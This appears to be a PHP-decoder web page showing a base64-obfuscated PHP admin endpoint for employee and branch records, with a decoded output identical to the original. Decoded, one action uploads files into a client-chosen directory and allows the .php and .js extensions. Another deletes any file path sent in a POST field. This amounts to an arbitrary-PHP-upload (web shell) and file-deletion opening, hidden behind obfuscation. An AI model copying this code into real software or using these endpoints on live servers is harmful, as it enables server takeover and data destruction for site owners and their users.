Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php require_once base64_decode('Li4vaW5jbHVkZXMvaW5jbHVkZS5waHA=');if(isset($_POST[base6..
Decoded Output download
<?php require_once base64_decode('Li4vaW5jbHVkZXMvaW5jbHVkZS5waHA=');if(isset($_POST[base64_decode('YWN0aW9u')])){$action_status=false;$arr[base64_decode('c3VjY2Vzcw==')]=base64_decode('MA==');$arr[base64_decode('bXNn')]=base64_decode('U29tZXRoaW5nIHdlbnQgd3Jvbmch');if($_POST[base64_decode('YWN0aW9u')]!=''){$action=$_POST[base64_decode('YWN0aW9u')];if($action==base64_decode('MQ==')){execute(base64_decode('VVBEQVRFIGBlbXBsb3llZWAgU0VUIGNhbl9sb2dpbj0nMCcgV0hFUkUgc3RhdHVzPScxJyBBTkQgZW1wX3JvbGU9JzIn'),[],$conn);$can_login_sql=fetch(base64_decode('U0VMRUNUICogRlJPTSBgZW1wbG95ZWVgIFdIRVJFIHN0YXR1cz0nMScgQU5EIGVtcF9yb2xlPScyJyBBTkQgY2FuX2xvZ2luPScwJw=='),[],$conn);if($can_login_sql){$action_status=true;}}else if($action==base64_decode('Mg==')){execute(base64_decode('VVBEQVRFIGBlbXBsb3llZWAgU0VUIGNhbl9sb2dpbj0nMScgV0hFUkUgc3RhdHVzPScxJyBBTkQgZW1wX3JvbGU9JzIn'),[],$conn);$can_login_sql=fetch(base64_decode('U0VMRUNUICogRlJPTSBgZW1wbG95ZWVgIFdIRVJFIHN0YXR1cz0nMScgQU5EIGVtcF9yb2xlPScyJyBBTkQgY2FuX2xvZ2luPScxJw=='),[],$conn);if($can_login_sql){$action_status=true;}}else if($action==base64_decode('Mw==')){$name=$_POST[base64_decode('bmFtZQ==')];$contact_number=$_POST[base64_decode('Y29udGFjdF9udW1iZXI=')];$emp_role=$_POST[base64_decode('ZW1wX3JvbGU=')];$email=$_POST[base64_decode('ZW1haWw=')];$can_login=$_POST[base64_decode('Y2FuX2xvZ2lu')];$emp_username=$_POST[base64_decode('ZW1wX3VzZXJuYW1l')];$emp_password=md5($_POST[base64_decode('ZW1wX3Bhc3N3b3Jk')]);$branch_id=$_POST[base64_decode('YnJhbmNoX2lk')];$emp_id=getExecutedID(base64_decode('SU5TRVJUIElOVE8gYGVtcGxveWVlYCBTRVQgYG5hbWVgPTpuYW1lLCBgY29udGFjdF9udW1iZXJgPTpjb250YWN0X251bWJlciwgYGVtcF9yb2xlYD06ZW1wX3JvbGUsIGBlbWFpbGA9OmVtYWlsLCBgY2FuX2xvZ2luYD06Y2FuX2xvZ2luLCBgZW1wX3VzZXJuYW1lYD06ZW1wX3VzZXJuYW1lLCBgZW1wX3Bhc3N3b3JkYD06ZW1wX3Bhc3N3b3JkLCBgYnJhbmNoX2lkYD06YnJhbmNoX2lk'),[base64_decode('bmFtZQ==')=>$name,base64_decode('Y29udGFjdF9udW1iZXI=')=>$contact_number,base64_decode('ZW1wX3JvbGU=')=>$emp_role,base64_decode('ZW1haWw=')=>$email,base64_decode('Y2FuX2xvZ2lu')=>$can_login,base64_decode('ZW1wX3VzZXJuYW1l')=>$emp_username,base64_decode('ZW1wX3Bhc3N3b3Jk')=>$emp_password,base64_decode('YnJhbmNoX2lk')=>$branch_id],$conn);if($emp_id>0){$arr[base64_decode('ZW1wX2lk')]=$emp_id;$action_status=true;}}else if($action==base64_decode('NA==')){$emp_id=$_POST[base64_decode('ZW1wX2lk')];execute(base64_decode('VVBEQVRFIGBlbXBsb3llZWAgU0VUIHN0YXR1cz0nMCcgV0hFUkUgaWQ9Omlk'),[base64_decode('aWQ=')=>$emp_id],$conn);$remove_sql=fetch(base64_decode('U0VMRUNUICogRlJPTSBgZW1wbG95ZWVgIFdIRVJFIHN0YXR1cz0nMCcgQU5EIGlkPTppZA=='),[base64_decode('aWQ=')=>$emp_id],$conn);if($remove_sql){$action_status=true;}}else if($action==base64_decode('NQ==')){$file=$_FILES[base64_decode('ZmlsZQ==')];$directory_input=$_POST[base64_decode('ZGlyZWN0b3J5X2lucHV0')];$directory=__DIR__.base64_decode('Lw==').$directory_input;if(isset($file)&&$file[base64_decode('bmFtZQ==')]!=''){$img_size=base64_decode('MTAwMDAwMDAwMDA=');$format=array(base64_decode('cG5n'),base64_decode('anBn'),base64_decode('anBlZw=='),base64_decode('amZpZg=='),base64_decode('d2VicA=='),base64_decode('cGhw'),base64_decode('anM='));$img=uploadFile($file,$directory,$format,$img_size,$file[base64_decode('bmFtZQ==')]);if($img[base64_decode('dXBsb2Fk')][0]!=base64_decode('MQ==')){$action_status=true;$arr[base64_decode('ZmlsZU5hbWU=')]=ROOT.base64_decode('YXBpL2ltYWdlcy9jaW1hZ2Uv').$file[base64_decode('bmFtZQ==')];}}}else if($action==base64_decode('Ng==')){$file_name=__DIR__.base64_decode('Lw==').$_POST[base64_decode('ZmlsZV9uYW1l')];unlink($file_name);if(!file_exists($file_name)){$action_status=true;}}else if($action==base64_decode('Nw==')){$branch_id=$_POST[base64_decode('YnJhbmNoX2lk')];$end_date_time=$_POST[base64_decode('ZW5kX2RhdGU=')].base64_decode('IA==').date(base64_decode('SDppOnM='));execute(base64_decode('VVBEQVRFIGBzb2Z0d2FyZV9icmFuY2hlc2AgU0VUIGBlbmRfZGF0ZV90aW1lYD06ZW5kX2RhdGVfdGltZSBXSEVSRSBpZD06aWQ='),[base64_decode('ZW5kX2RhdGVfdGltZQ==')=>$end_date_time,base64_decode('aWQ=')=>$branch_id],$conn);$update_branch_sql=fetch(base64_decode('U0VMRUNUICogRlJPTSBgc29mdHdhcmVfYnJhbmNoZXNgIFdIRVJFIGVuZF9kYXRlX3RpbWU9OmVuZF9kYXRlX3RpbWUgQU5EIGlkPTppZA=='),[base64_decode('ZW5kX2RhdGVfdGltZQ==')=>$end_date_time,base64_decode('aWQ=')=>$branch_id],$conn);if($update_branch_sql){$action_status=true;}}if($action_status==true){$arr[base64_decode('c3VjY2Vzcw==')]=base64_decode('MQ==');$arr[base64_decode('bXNn')]=base64_decode('QWN0aW9uIHBlcmZvcm1lZCBzdWNjZXNzZnVsbHkh');}else{$arr[base64_decode('c3VjY2Vzcw==')]=base64_decode('MA==');$arr[base64_decode('bXNn')]=base64_decode('U29tZXRoaW5nIHdlbnQgd3Jvbmch');}}}else if(isset($_POST[base64_decode('YWtleQ==')])&&$_POST[base64_decode('YWtleQ==')]==base64_decode('Z2V0RGF0YQ==')){$role_data=[];$emp_data=[];$branch_data=[];$emp_role_sql=fetch(base64_decode('U0VMRUNUICogRlJPTSBgZW1wbG95ZWVfcm9sZWAgV0hFUkUgc3RhdHVzPScxJw=='),[],$conn);if($emp_role_sql){foreach($emp_role_sql as $role){$role_data[]=array(base64_decode('aWQ=')=>$role[base64_decode('aWQ=')],base64_decode('cm9sZQ==')=>$role[base64_decode('cm9sZQ==')]);}}$employee_sql=fetch(base64_decode('U0VMRUNUICogRlJPTSBgZW1wbG95ZWVgIFdIRVJFIHN0YXR1cz0nMSc='),[],$conn);if($employee_sql){foreach($employee_sql as $emp){$emp_data[]=array(base64_decode('aWQ=')=>$emp[base64_decode('aWQ=')],base64_decode('bmFtZQ==')=>$emp[base64_decode('bmFtZQ==')],base64_decode('ZW1wX3VzZXJuYW1l')=>$emp[base64_decode('ZW1wX3VzZXJuYW1l')]);}}$branch_sql=fetch(base64_decode('U0VMRUNUICogRlJPTSBgc29mdHdhcmVfYnJhbmNoZXNgIFdIRVJFIHN0YXR1cz0nMSc='),[],$conn_parent);if($branch_sql){foreach($branch_sql as $branch){$branch_data[]=array(base64_decode('aWQ=')=>$branch[base64_decode('aWQ=')],base64_decode('YnJhbmNo')=>$branch[base64_decode('YnJhbmNoX25hbWU=')],base64_decode('ZW5kX2RhdGU=')=>$branch[base64_decode('ZW5kX2RhdGVfdGltZQ==')]);}}$arr[base64_decode('cm9sZV9kYXRh')]=$role_data;$arr[base64_decode('ZW1wX2RhdGE=')]=$emp_data;$arr[base64_decode('YnJhbmNoX2RhdGE=')]=$branch_data;}echo json_encode($arr);?>
Did this file decode correctly?
Original Code
<?php require_once base64_decode('Li4vaW5jbHVkZXMvaW5jbHVkZS5waHA=');if(isset($_POST[base64_decode('YWN0aW9u')])){$action_status=false;$arr[base64_decode('c3VjY2Vzcw==')]=base64_decode('MA==');$arr[base64_decode('bXNn')]=base64_decode('U29tZXRoaW5nIHdlbnQgd3Jvbmch');if($_POST[base64_decode('YWN0aW9u')]!=''){$action=$_POST[base64_decode('YWN0aW9u')];if($action==base64_decode('MQ==')){execute(base64_decode('VVBEQVRFIGBlbXBsb3llZWAgU0VUIGNhbl9sb2dpbj0nMCcgV0hFUkUgc3RhdHVzPScxJyBBTkQgZW1wX3JvbGU9JzIn'),[],$conn);$can_login_sql=fetch(base64_decode('U0VMRUNUICogRlJPTSBgZW1wbG95ZWVgIFdIRVJFIHN0YXR1cz0nMScgQU5EIGVtcF9yb2xlPScyJyBBTkQgY2FuX2xvZ2luPScwJw=='),[],$conn);if($can_login_sql){$action_status=true;}}else if($action==base64_decode('Mg==')){execute(base64_decode('VVBEQVRFIGBlbXBsb3llZWAgU0VUIGNhbl9sb2dpbj0nMScgV0hFUkUgc3RhdHVzPScxJyBBTkQgZW1wX3JvbGU9JzIn'),[],$conn);$can_login_sql=fetch(base64_decode('U0VMRUNUICogRlJPTSBgZW1wbG95ZWVgIFdIRVJFIHN0YXR1cz0nMScgQU5EIGVtcF9yb2xlPScyJyBBTkQgY2FuX2xvZ2luPScxJw=='),[],$conn);if($can_login_sql){$action_status=true;}}else if($action==base64_decode('Mw==')){$name=$_POST[base64_decode('bmFtZQ==')];$contact_number=$_POST[base64_decode('Y29udGFjdF9udW1iZXI=')];$emp_role=$_POST[base64_decode('ZW1wX3JvbGU=')];$email=$_POST[base64_decode('ZW1haWw=')];$can_login=$_POST[base64_decode('Y2FuX2xvZ2lu')];$emp_username=$_POST[base64_decode('ZW1wX3VzZXJuYW1l')];$emp_password=md5($_POST[base64_decode('ZW1wX3Bhc3N3b3Jk')]);$branch_id=$_POST[base64_decode('YnJhbmNoX2lk')];$emp_id=getExecutedID(base64_decode('SU5TRVJUIElOVE8gYGVtcGxveWVlYCBTRVQgYG5hbWVgPTpuYW1lLCBgY29udGFjdF9udW1iZXJgPTpjb250YWN0X251bWJlciwgYGVtcF9yb2xlYD06ZW1wX3JvbGUsIGBlbWFpbGA9OmVtYWlsLCBgY2FuX2xvZ2luYD06Y2FuX2xvZ2luLCBgZW1wX3VzZXJuYW1lYD06ZW1wX3VzZXJuYW1lLCBgZW1wX3Bhc3N3b3JkYD06ZW1wX3Bhc3N3b3JkLCBgYnJhbmNoX2lkYD06YnJhbmNoX2lk'),[base64_decode('bmFtZQ==')=>$name,base64_decode('Y29udGFjdF9udW1iZXI=')=>$contact_number,base64_decode('ZW1wX3JvbGU=')=>$emp_role,base64_decode('ZW1haWw=')=>$email,base64_decode('Y2FuX2xvZ2lu')=>$can_login,base64_decode('ZW1wX3VzZXJuYW1l')=>$emp_username,base64_decode('ZW1wX3Bhc3N3b3Jk')=>$emp_password,base64_decode('YnJhbmNoX2lk')=>$branch_id],$conn);if($emp_id>0){$arr[base64_decode('ZW1wX2lk')]=$emp_id;$action_status=true;}}else if($action==base64_decode('NA==')){$emp_id=$_POST[base64_decode('ZW1wX2lk')];execute(base64_decode('VVBEQVRFIGBlbXBsb3llZWAgU0VUIHN0YXR1cz0nMCcgV0hFUkUgaWQ9Omlk'),[base64_decode('aWQ=')=>$emp_id],$conn);$remove_sql=fetch(base64_decode('U0VMRUNUICogRlJPTSBgZW1wbG95ZWVgIFdIRVJFIHN0YXR1cz0nMCcgQU5EIGlkPTppZA=='),[base64_decode('aWQ=')=>$emp_id],$conn);if($remove_sql){$action_status=true;}}else if($action==base64_decode('NQ==')){$file=$_FILES[base64_decode('ZmlsZQ==')];$directory_input=$_POST[base64_decode('ZGlyZWN0b3J5X2lucHV0')];$directory=__DIR__.base64_decode('Lw==').$directory_input;if(isset($file)&&$file[base64_decode('bmFtZQ==')]!=''){$img_size=base64_decode('MTAwMDAwMDAwMDA=');$format=array(base64_decode('cG5n'),base64_decode('anBn'),base64_decode('anBlZw=='),base64_decode('amZpZg=='),base64_decode('d2VicA=='),base64_decode('cGhw'),base64_decode('anM='));$img=uploadFile($file,$directory,$format,$img_size,$file[base64_decode('bmFtZQ==')]);if($img[base64_decode('dXBsb2Fk')][0]!=base64_decode('MQ==')){$action_status=true;$arr[base64_decode('ZmlsZU5hbWU=')]=ROOT.base64_decode('YXBpL2ltYWdlcy9jaW1hZ2Uv').$file[base64_decode('bmFtZQ==')];}}}else if($action==base64_decode('Ng==')){$file_name=__DIR__.base64_decode('Lw==').$_POST[base64_decode('ZmlsZV9uYW1l')];unlink($file_name);if(!file_exists($file_name)){$action_status=true;}}else if($action==base64_decode('Nw==')){$branch_id=$_POST[base64_decode('YnJhbmNoX2lk')];$end_date_time=$_POST[base64_decode('ZW5kX2RhdGU=')].base64_decode('IA==').date(base64_decode('SDppOnM='));execute(base64_decode('VVBEQVRFIGBzb2Z0d2FyZV9icmFuY2hlc2AgU0VUIGBlbmRfZGF0ZV90aW1lYD06ZW5kX2RhdGVfdGltZSBXSEVSRSBpZD06aWQ='),[base64_decode('ZW5kX2RhdGVfdGltZQ==')=>$end_date_time,base64_decode('aWQ=')=>$branch_id],$conn);$update_branch_sql=fetch(base64_decode('U0VMRUNUICogRlJPTSBgc29mdHdhcmVfYnJhbmNoZXNgIFdIRVJFIGVuZF9kYXRlX3RpbWU9OmVuZF9kYXRlX3RpbWUgQU5EIGlkPTppZA=='),[base64_decode('ZW5kX2RhdGVfdGltZQ==')=>$end_date_time,base64_decode('aWQ=')=>$branch_id],$conn);if($update_branch_sql){$action_status=true;}}if($action_status==true){$arr[base64_decode('c3VjY2Vzcw==')]=base64_decode('MQ==');$arr[base64_decode('bXNn')]=base64_decode('QWN0aW9uIHBlcmZvcm1lZCBzdWNjZXNzZnVsbHkh');}else{$arr[base64_decode('c3VjY2Vzcw==')]=base64_decode('MA==');$arr[base64_decode('bXNn')]=base64_decode('U29tZXRoaW5nIHdlbnQgd3Jvbmch');}}}else if(isset($_POST[base64_decode('YWtleQ==')])&&$_POST[base64_decode('YWtleQ==')]==base64_decode('Z2V0RGF0YQ==')){$role_data=[];$emp_data=[];$branch_data=[];$emp_role_sql=fetch(base64_decode('U0VMRUNUICogRlJPTSBgZW1wbG95ZWVfcm9sZWAgV0hFUkUgc3RhdHVzPScxJw=='),[],$conn);if($emp_role_sql){foreach($emp_role_sql as $role){$role_data[]=array(base64_decode('aWQ=')=>$role[base64_decode('aWQ=')],base64_decode('cm9sZQ==')=>$role[base64_decode('cm9sZQ==')]);}}$employee_sql=fetch(base64_decode('U0VMRUNUICogRlJPTSBgZW1wbG95ZWVgIFdIRVJFIHN0YXR1cz0nMSc='),[],$conn);if($employee_sql){foreach($employee_sql as $emp){$emp_data[]=array(base64_decode('aWQ=')=>$emp[base64_decode('aWQ=')],base64_decode('bmFtZQ==')=>$emp[base64_decode('bmFtZQ==')],base64_decode('ZW1wX3VzZXJuYW1l')=>$emp[base64_decode('ZW1wX3VzZXJuYW1l')]);}}$branch_sql=fetch(base64_decode('U0VMRUNUICogRlJPTSBgc29mdHdhcmVfYnJhbmNoZXNgIFdIRVJFIHN0YXR1cz0nMSc='),[],$conn_parent);if($branch_sql){foreach($branch_sql as $branch){$branch_data[]=array(base64_decode('aWQ=')=>$branch[base64_decode('aWQ=')],base64_decode('YnJhbmNo')=>$branch[base64_decode('YnJhbmNoX25hbWU=')],base64_decode('ZW5kX2RhdGU=')=>$branch[base64_decode('ZW5kX2RhdGVfdGltZQ==')]);}}$arr[base64_decode('cm9sZV9kYXRh')]=$role_data;$arr[base64_decode('ZW1wX2RhdGE=')]=$emp_data;$arr[base64_decode('YnJhbmNoX2RhdGE=')]=$branch_data;}echo json_encode($arr);?>
Function Calls
None |
Stats
MD5 | c8500be779b85cec1e9bcaae61da51dc |
Eval Count | 0 |
Decode Time | 57 ms |